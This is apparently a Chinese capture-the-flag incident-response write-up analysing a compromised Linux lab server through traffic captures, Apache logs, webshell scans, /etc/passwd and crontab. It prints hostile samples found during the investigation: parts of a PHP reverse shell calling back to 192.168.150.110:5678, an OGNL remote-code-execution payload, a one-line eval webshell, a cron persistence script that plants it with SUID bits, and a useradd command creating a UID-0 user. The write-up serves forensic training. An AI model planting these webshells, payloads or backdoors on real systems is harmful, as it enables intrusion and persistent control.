赞
踩
题目链接:第九章-实战篇-运维杰克
三连私信免费送玄机注册邀请码私信!!!看见就回!!注意私信!!
这里既然提到运维,那就简单提一下什么是运维吧;
官方一点说就是运维嘛,即运维管理(Operation and Maintenance),是指对计算机系统、网络设备、服务器、应用程序和数据等信息技术资源进行管理、维护、监控和优化,以确保其正常运行、性能优化和安全性。运维是信息技术管理的重要组成部分,广泛应用于各种企业和机构中。
运维的主要职责包括:
系统维护:
网络管理:
服务器管理:
数据库管理:
安全管理:
备份和恢复:
监控和报警:
自动化和优化:
运维的重要性:
总的来说,运维在现代信息技术管理中扮演着至关重要的角色,确保企业和机构的IT系统稳定、安全、高效地运行。
服务器场景操作系统 Linux
服务器账号密码 root root123
题目来源公众号 China-爱州
https://mp.weixin.qq.com/s/WMWBDI5ClhpQP0wDT0PaGw
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/WMWBDI5ClhpQP0wDT0PaGw
附件地址 链接: https://pan.baidu.com/s/1UziBZkFoKcTbdOyo6yox0g?pwd=mb3q 提取码: mb3q
–来自百度网盘超级会员v5的分享
题目;
1、攻击者使用的的漏洞扫描工具有哪些(两个) flag{xxxan-xxxy}
2、攻击者上传webshell的绝对路径及User-agent flag格式{/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent} 中间值 md5 后作为 flag 提交 flag{md5} - 是链接符
3、攻击者反弹shell的IP及端口是什么
4、攻击者利用提权攻击添加的用户,用户名是什么
5、攻击者留下了后门脚本,找到绝对路径(有SUID权限)
6、攻击者留下了持续化监控和后门脚本,找到绝对路径
靶机环境是Liunx,老规矩我们直接使用Xshell连接即可(方法不唯一,这里仅供参考)
新建连接,输入靶机IP,连接即可;(这里SSH也可以,输入命令:ssh root@靶机IP,方法不唯一,仅供参考)
成功连接;
解题思路
题目问我们黑客使用的漏洞扫描工具是什么,提示我们有两个,那做这个题的在此之前,我们先来了解一下黑客常用的漏洞扫描工具有那些,接着再来简单分析一下;
常见的漏洞扫描工具;
Nmap:
Nessus:
OpenVAS:
Metasploit:
fscan:
Goby:
QualysGuard:
Burp Suite:
简单总结一下,这些工具,都各有特色,覆盖了从网络扫描到Web应用程序安全测试的广泛需求。
那这里我们就可以从系统日志里面进行分析,或者流量数据中寻找特定的工具特征,那这里的一般检查系统日志都是检查的Web服务器apache日志(access.log
和 error.log
中查找特定的扫描行为和请求模式),但是这里奇怪的是并没有发现什么(空白的,估计被删除了),但是后来我们又在root目录下发现了一个流量包,那这里我们就可以对流量包进行分析也是没问题的;
root目录下,发现“result.pcap”流量包,那我们就想办法给它导出来嘛;
这里我使用的工具“finalshel”直接下载导出的,关于finalshell的具体导出操作之前的文章基本都是有详细说明,那这里就不再强调了;(finalshell导出文章:第五章 linux实战-CMS01)
选中root目录下流量包“result.pcap”,右键选择“下载”即可,注意下载路径以防自己找不着;
导出完毕,那我们先来暂时先去 apache 日志看一下哪两个 ip 访问最多里统计一下可疑IP出现的次数,这样待会在“Wireshark”中分析起来会更便捷一些;
使用命令;
cut -d- -f 1 access.log.1 | sort -nr | uniq -c | sort -nr
命令解析;
cut -d- -f 1 access.log.1
:cut
命令用于从文件中提取列。-d-
选项指定分隔符为 -
,-f 1
选项指定提取分隔符前的第一列。这会从 access.log.1
文件中提取所有以 -
为分隔符的第一列内容。
sort -nr
:sort
命令用于对输入进行排序。-n
选项按数值排序,-r
选项表示按降序排列。这个命令对提取出的第一列内容进行数值降序排序。
uniq -c
:uniq
命令用于过滤重复的行,并输出每行出现的次数。-c
选项表示在输出每行前加上该行的出现次数。
sort -nr
:再次使用 sort
命令进行排序。-n
选项按数值排序,-r
选项按降序排列。这个命令对 uniq -c
的输出按出现次数的降序进行排序。
简单说明;
access.log.1
中提取以 -
为分隔符的第一列内容。得到;
也是发现“192.168.150.1 ”“192.168.150.2 ”,这两个IP出现的次数较多,那我们就在“Wireshark”中格外“关照一下”吧;
流量包“result.pcap”丢进“Wireshark”中,那我们就简单筛选一下 IP 地址 192.168.150.1
发出的所有 TCP 流量,并且排除 SSH(端口 22)和 HTTP(端口 80)流量。
使用命令;
ip.src_host == 192.168.150.1 && tcp && !ssh && !http
往下随便翻翻,发现大量数据条名称中包含[SYN]以及[ACK],那现在基本可以确认了是namp扫描的特征,接着又发现了options
的固定长度 02 04 05 b4
,并且[SYN]也称为半开放扫描,是用来探测开放端口的;
往下翻一些得到;
简单来说;
大量的 SYN 包:
[SYN]
标记的 TCP 包,它们是尝试与目标端口建立连接的初始请求。SYN-ACK 和 RST 包:
[SYN, ACK]
包。[RST, ACK]
包。TCP 选项:
02 04 05 b4
是 TCP 选项的十六进制表示形式,表示窗口大小(Window Size)。这些选项是一个特征,用来识别 Nmap 流量。所以现在基本可以石锤了一个扫描——Namp,那现在我们分析了TCP,接下来我们去看看http有没有什么收货,http这里简单的直接筛选即可;
这里还是简单的按包的大小排序一下,也是在大小472的包中发现了扫描器“Goby”的痕迹,前面总结也有提到“Goby”,同时也符合题目所给出提示的第二个flag“xxxy”,所以基本可以确认扫扫描器是——“Goby”;
接着我们可以查看一下协议分级,发现除了"UDP",“TCP”,还有一个较为可疑的“ICMP”
那我们右键选中简单分析一下;
得到;
101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
可以发现利用了 icmp echo
来探测存活,可能有些师傅不明白这具体是咋子个回事,那我们来简单分析分析;
首先是ICMP Echo 请求(Ping)
ICMP Echo 请求是通过发送一个带有特定格式的数据包来探测目标主机是否在线。通常情况下,ICMP Echo 请求的数据部分可以包含任意数据,有时也会包含连续的字节(例如 0x00 到 0xFF)。
其次是我们数据部分的分析;
101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
简单来说就是这些值是 ICMP Echo 请求的数据部分。这种连续的字节值通常用于确保数据的一致性和校验。
利用 ICMP Echo 请求进行存活探测
因此我们可以以此来进行分析;
我们可以想到“fscan”工具以及其他网络扫描工具(如 nmap)在进行存活探测时,确实会使用 ICMP Echo 请求作为一种探测手段。
总的来说 ICMP Echo 请求数据部分的内容,是用于探测目标主机是否在线。这种模式在网络扫描工具(如 fscan 或 nmap)中是常见的探测手段之一。
再结合题目所给出的第一个提示“xxxn“,十分怀疑就是fscan,不过没事不着急,我们可以分析分析,我们还可以再筛选一下IP地址”192.168.150.2“的http,这样更有助于便捷分析;
命令;
ip.addr == 192.168.150.2 && http
简单按包的大小排个序,往下随便翻一下(大概在700多左右),发现了漏洞的特征;
简单分析一下;
那这里有的师傅可能就会疑问了,为什么发现个漏洞就跟fscan能扯上关系呢?
简单来说,因为它涉及一个常见的漏洞利用技术:基于Web请求的远程代码执行(RCE)。fscan是一个多功能的网络安全扫描工具,可以自动化探测各种类型的安全漏洞,包括Web应用程序中的RCE漏洞。
这原来的;
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork
URL简单解个码;
GET /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork
这个payload的目的是利用某种远程代码执行漏洞,在目标服务器上执行id
命令,并将其输出嵌入到HTTP响应中,但是fscan工具可以自动化检测和利用各种漏洞,包括RCE漏洞。
漏洞扫描:
自动化利用:
id
命令来验证RCE漏洞。报告和日志:
简单来说;
最后总结;,fscan工具可以通过发送类似的请求来探测和利用RCE漏洞,从而在目标系统上执行任意命令。这就是这个请求与fscan工具之间的联系。
结合题目所给出的flag提示:flag{xxxan-xxxy};
至此;
flag{fscan-goby}
这里做法不唯一哈,仅供参考,当然一些经验较丰富的老师傅看见这个提示其实很大概率就可以猜出来了,就不需要像我们这些可能头一回碰见这么难受了;
那这里可能就有的师傅可能会有疑问,为什么之前查出的namp不作为扫描器?
那我们来简单说说;
Nmap 的特点和局限性
fscan 和 goby 的优势
专注于漏洞扫描:
自动化和集成:
实时更新的漏洞库:
针对性强:
简而言之为什么选择 fscan 和 goby 而不是 Nmap;
首先最重要的一点是:题目让我们提交的是(攻击者使用的的漏洞扫描工具有哪些(两个) flag{xxxan-xxxy}),也很清楚的说了是漏洞扫描器!;
其次;
总结;
虽然 Nmap 是一个非常强大的工具,但在特定的漏洞扫描和利用场景下(题目要求的提交漏洞扫描器),fscan 和 goby 提供了更高效、更专注的解决方案。因此,选择 fscan 和 goby 作为扫描器而不是 Nmap,可以更好地满足特定任务的需求,实现更快、更精准的漏洞发现和利用。
解题思路
题目让我们找到黑客上传的webshell绝对路径以及User-agent,最后MD5加密提交,那找webshell相信看过我文章的师傅已经烂熟于心了属实是,不管是手工排查还是工具排查我相信这种题目肯定已经难不倒师傅们了,但是这里有点不一样的是,它还需要“User-agent”,所以这里不仅单单是查到webshell那么简单了,那好话不多说我们来一起分析一下;
那这里我们还是先看webshell吧,但是在此之前我们还需要先查看分析一下“开放的端口和网络连接”,那为什么呢?
使用命令;
netstat -ano
简单来说就是两点;
netstat -ano
可以发现系统上是否存在异常的网络连接。例如,某些端口不应该对外开放,但却有外部 IP 连接进来,这可能是黑客通过 webshell 与系统进行交互的证据。netstat -ano
找到可疑的进程 ID,然后使用 ps -aux | grep <PID>
查看具体的进程信息,包括其启动的文件路径。webshell 通常是由特定的 web 服务器进程(如 Apache 或 Nginx)启动的,通过进程 ID 可以追溯到对应的文件路径。得到;
简单分析一下;
通过 netstat -ano
命令,我们发现了多个开放的端口,其中一些是 web 服务 (0.0.0.0:80
)、数据库服务 (127.0.0.1:3306
)、以及其他应用服务 (7848
, 8848
, 9848
, 9849
等等)。这些服务都是可能被攻击的目标,特别是 web 服务,因为它是最常见的攻击入口。
在输出中,我们发现了几个与外部 IP(如 211.143.236.146
)的建立连接,这是黑客使用的连接。特别是与端口 22
(SSH) 的连接和其他端口的连接,表明黑客在尝试远程访问系统并进一步控制。
由于 netstat
显示的开放端口中包含 80
端口,这是标准的 HTTP 服务端口,就是运行 web 应用的服务。因此,黑客上传的 webshell 很有可能存储在 web 服务的根目录中,即 /var/www/html
。
那既然这样我们就先把源码(var/www/html)导出丢进"D盾"扫描工具进行查杀webshell,这是最便捷没有之前,那这里我还是使用老工具“Finalshell”来进行导出源码;(“Finalshell”导出文件这里就不再过多演示,强调了也不止一遍两遍,如还不会的建议可以去看我的文章:第五章 linux实战-CMS01)
连接靶机成功,也是很快锁定了源码(var/www/html),那我们直接选中接着右键“下载”即可;(注意下载的路径,以防自己待会找不到)
这次的源码有点多,大家耐心等待下载即可;(或者也可以先在Liunx中压缩再导出)
tar -zcvf /var/www/html.tar.gz /var/www/html
目标文件 html.tar.gz
将被正确创建在 /var/www
目录下
那这里也是成功导出,我们直接丢进“D盾”里面进行查杀webshell;
得到;
也是一眼相中了这个“shell”,跟进分析;
右键“记事本打开”,得到;
简单分析一下;
首先我们可以确认的一点就是,这是一个反弹 shell 脚本,用于在目标服务器上建立反向 shell 连接。
其中;
set_time_limit(0);
$VERSION = "1.0";
$ip = '192.168.150.110'; // CHANGE THIS
$port = 5678; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
set_time_limit(0)
:设置脚本的执行时间为无限制,这样脚本不会因为运行时间过长而终止。$ip
和 $port
:目标 IP 地址和端口号,反向 shell 将连接到这个 IP 和端口。$chunk_size
:数据块大小。$shell
:将在目标服务器上执行的命令。$daemon
和 $debug
:控制脚本行为的标志。以及;
if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); }
pcntl_fork
函数是否存在,该函数用于在 PHP 中创建子进程。pcntl_fork
函数存在,脚本将尝试创建一个子进程。
pcntl_fork
返回子进程的 PID。返回 -1 表示创建失败,返回 0 表示当前进程是子进程,返回大于 0 的值表示当前进程是父进程。posix_setsid
:将当前进程设置为会话领导,以避免产生僵尸进程。简单来说该脚本功能;
那既然可以确定了,但是还是不知道如何上传了这个文件是什么,那这里我们再次返回刚刚导出的流量包中继续简单筛选一下http,简单分析一下黑客是如何上传的这个文件从而找出如何上传了这个文件;
使用命令;
http.request.method == "POST" && http.content_type contains "multipart/form-data"
命令分析;
那既然提到文件上传,那肯定通常使用 POST
方法,并且请求中会包含 multipart/form-data
,那这里可能就有点师傅懵了,啥?文件上传为啥请求中会含有multipart/form-data
,这是什么个东西?
这种编码方式允许将多个不同类型的内容(如文本字段和文件)混合在一个请求中发送,这是在上传文件时常用的格式。(一般来说都是这个)
最后总结;
为什么文件上传请求会使用 multipart/form-data
multipart/form-data
允许在 HTTP 请求中嵌入二进制文件数据,这是其他常规编码方式(如 application/x-www-form-urlencoded
)无法做到的。这里简单按大小排个序,而且包也不是很多,翻到最底下发现一个特殊的包,我们选中追踪http流得的;
哎,果然就发现了上传文件的“User-agent”;(整那么明显是生怕我们看不见啊)
User-Agent: my_is_user_agent
根据题目描述提交flag;
首次确定我们获得webshell的路径是:/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php
获得 User-agent:my_is_user_agent
将绝对路径和 User-agent 连接成一个字符串;
题目中要求的格式为:/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent
将路径和 User-agent 连接起来,中间用一个连接符 -
:
/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php-my_is_user_agent
对连接后的字符串进行 MD5 哈希:
md5sum
工具或其他 MD5 哈希生成工具对上面的字符串进行哈希。命令;
echo -n "/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php-my_is_user_agent" | md5sum
得到;
至此;
flag{14bea1643a4b97600ba13a6dd5dbbd04}
multipart/form-data
的详细说明
multipart/form-data
multipart/form-data
是一种 MIME(Multipurpose Internet Mail Extensions)类型,它可以在一个请求中包含多个部分,每个部分可以是不同类型的数据。这对于表单提交特别有用,因为表单可能包含文本字段(如输入框)和文件(如图片或文档)。
在上传文件时,需要将文件的数据与其他表单字段一起发送给服务器。传统的 application/x-www-form-urlencoded
方式只能编码简单的键值对,不能处理文件数据。因此,multipart/form-data
被引入来满足这一需求。
multipart/form-data
的结构一个 multipart/form-data
请求的主体由多个部分组成,每个部分都有自己的 Content-Disposition
头来描述其内容类型和字段名称。文件部分还会包含文件名和文件类型。
例如;
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 123456
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"
JohnDoe
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--
在上面的示例中,可以看到请求体中有两个部分:
username
,其值为 JohnDoe
。file
,其文件名为 example.txt
,文件内容为 This is the content of the file.
。解题思路
题目让我们提交黑客反弹shell的IP及端口,这题按我来说应该放在第二题,那前面我们就已经知道反弹shell是什么了,那这里我们先假装不知道前面的,全部忘记,按照正常操作来一遍;
那这里还是老规矩呗,先导出源码(var/www/html),接着丢进"D盾"里面扫呗;
很快就发现一个危害级别为“5”的,那我们就跟进过去瞅瞅呗;
得到;
因为这里题二已经啰嗦过了,这里我就不啰嗦了,直接说答案吧;
黑客反弹shell的IP为:192.168.150.110
端口为:5678
至此;(这里也没说提交的格式是什么,那就默认一下网上最多的提交格式吧)
flag{192.168.150.110:5678}
解题思路
题目让我们提交黑客利用提权添加的用户是那个,哎,又是用户又是提权,怪熟悉的嘞,之前有看过我文章的师傅那肯定就有印象了,既然都提到用户了,那就简单去分析一下看看用户列表有那些可疑的用户呗;
我们肯定是检查用户配置文件,在Liunx中,/etc/passwd 文件,包含了所有用户的信息,包括用户名和用户ID等,所以;
使用命令;
cat /etc/passwd
得到;
简单分析一下;
一眼看过去最明显了,“zhangsan”你什么地位啊既然和root一个权限,是吧,很快就完事了;
但是这里还是官方的具体分析一下把;
用户ID (UID) 和 组ID (GID):
zhangsan
用户的 UID 和 GID 都是 0 (x:0:0:
)。在 Unix/Linux 系统中,UID 和 GID 为 0 的用户是超级用户(root)。这意味着 zhangsan
用户具有与 root
用户相同的权限。不符合常规的命名规则:
zhangsan
的用户拥有 root 权限,这很不寻常,通常是一个强烈的暗示,表明它可能是由黑客添加的。家庭目录:
zhangsan
用户的家庭目录是 /home/zhangsan
。这与其他系统用户(如 root
,/root
)不同。尽管有时管理员可能会创建具有 root 权限的特定用户,但这通常是经过仔细管理和记录的。添加的可能性:
useradd -o -u 0 -g 0 -d /home/zhangsan zhangsan
或类似的命令来实现的。与其他用户的对比:
mysql
, ntp
)通常有特定的 UID 和 GID,且权限受到限制。 zhangsan
的条目明显不同,具有最高权限。综上所述:
zhangsan
用户是由黑客利用提权攻击添加的用户,主要原因是其 UID 和 GID 为 0,表明它具有 root 权限,这是系统安全中的一个重大漏洞。
至此;
flag{zhangsan}
解题思路
题目让我们提交黑客留下的后面脚本的绝对路径,这题两种做法,第一种就是使用我们熟悉的“D盾”框框先扫一顿也是可以扫出来的,第二种就是题目不是说SUID权限权限嘛,那我们就可以从这个下手,就简单查一下所有具有 SUID 权限的文件。
第一种;
还是"D盾"开扫呗,一般最容易出现问题的也就是这个源码了(var/www/html)
刚刚好也是在反弹shell的下面,而且说明也说了“Eval后门,参数[cmd]”,我们尝试提交发现正确,这个工具找到没什么好说的;
第二种;
既然说了要找系统上所有具有 SUID 权限的文件,
那我们可以使用命令;
find / -perm -u=s -type f 2>/dev/null
简单分析一下这个命令;
-type f
:
2>/dev/null
:
/dev/null
,即忽略它们。这使输出更加简洁,只显示查找到的文件。得到;
/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
也是可以得到,那这里就不再多说;
至此;
flag{/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php}
解题思路
题目让我们找到黑客留下的持续化监控和后门脚本的路径,那我们就可以查查定时任务,那可能有的师傅就疑问了,为什么要查定时任务呢?
简单说说;
这是因为定时任务(cron jobs)是一个常见的机制,黑客会利用它们在系统中保持持久性。
具体说明;
cron
调度程序中添加任务,以确保恶意脚本或程序在系统启动或定时执行时运行。这使得即使系统重启,恶意活动也会继续。所以;
crontab -l
得到;
这多冒昧啊,就这一个,你说可不可疑?要多一点还好难分辨这就一个,那我们直接跟进分析好吧;
cat /opt/.script/.script.sh
得到;
#!/bin/bash
echo "<?php @eval($_GET[cmd]); ?>">/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
chmod 777 /var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
chmod u+s /var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
简单分析一下;
首先可以确定的一点就是,这个就是题目让我们找的留下的后门脚本,用于持续化控制;
创建一个 PHP Web Shell
echo "<?php @eval($_GET[cmd]); ?>">/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
。<?php @eval($_GET[cmd]); ?>
是一个常见的 Web Shell,它允许通过 HTTP 请求中的 cmd
参数执行任意的 PHP 代码。设置权限
chmod 777 /var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
777
。777
表示所有用户(包括所有者、组用户和其他用户)都可以读、写和执行这个文件。这种权限设置通常是不安全的,但在这里允许任何人修改和执行这个 Web Shell。设置 SUID 位
chmod u+s /var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
最后总结一下;
题目让我们提交绝对路径(没让我MD5加密之后提交,良心一回了,除了第二题之外)
至此;
flag{/opt/.script/.script.sh}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。